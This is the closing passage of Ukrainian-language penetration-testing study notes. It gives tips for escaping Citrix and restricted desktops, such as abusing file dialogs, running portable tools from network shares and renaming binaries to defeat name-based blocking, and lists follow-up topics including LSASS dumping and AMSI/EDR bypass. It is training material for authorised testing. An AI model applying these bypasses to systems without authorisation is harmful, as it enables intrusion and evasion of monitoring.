⏳ **ЧЕКАТИ:** Після spawn цільового Citrix середовища — чекати **5 хвилин** перед початком. Повідомлення про licensing — ігнорувати.

10.8 Загальні поради для Citrix/restricted environments

✓ **TIP: Пошук Dialog Box джерел:** будь-який додаток з функціями Save, Save As, Open, Load, Browse, Import, Export, Help, Search, Scan, Print — потенційне джерело dialog box. Тестувати всі.

✓ **TIP: Portable tools першими:** Explorer++, PsExec, PowerShell, Python portable — все, що не вимагає установки. Можна запускати з UNC share без копіювання.

✓ **TIP: Group Policy blocking по імені:** якщо заблоковано `cmd.exe`, часто дозволено інші способи запустити cmd — runas, shortcuts, .bat, custom binary (`pwn.exe`). Блокування по імені файлу обходиться перейменуванням.

⚠ **УВАГА:** Не забувай, що всі ці дії аудитуються. Створення backdoor юзера, UAC bypass, запуск `pwn.exe` з UNC — це все яскраві сигнали для SIEM. У red team engagement — координувати з замовником, у пентесті — фіксувати як критичні знахідки для звіту.

Післямова

Цей конспект — не заміна практиці. Всі команди і техніки треба відпрацювати у контрольованому середовищі: HTB Academy лаби, Offensive Security PEN-200, свої VM у Hyper-V/VMware. Тільки через руки — "м'язова пам'ять".

Після опанування базового privesc — логічне продовження:

- **Active Directory privesc** — Kerberoasting, ASREPRoasting, AD ACL abuse, DCSync.
- **Mimikatz deep-dive** — DPAPI, LSASS dump, pass-the-ticket, overpass-the-hash.
- **Modern EDR bypass** — AMSI bypass, ETW patching, direct syscalls, module stomping.
- **Cloud privesc** — Azure AD, AWS IAM misconfigs.

> Пам'ятай головне: **enumeration — це 80% роботи пентестера**. Хороший конспект з енумерації (як розділ 2 цього документа) економить години на кожному engagement. Удачі в полі.

```
[ END OF DOCUMENT ]
// happy hunting //
```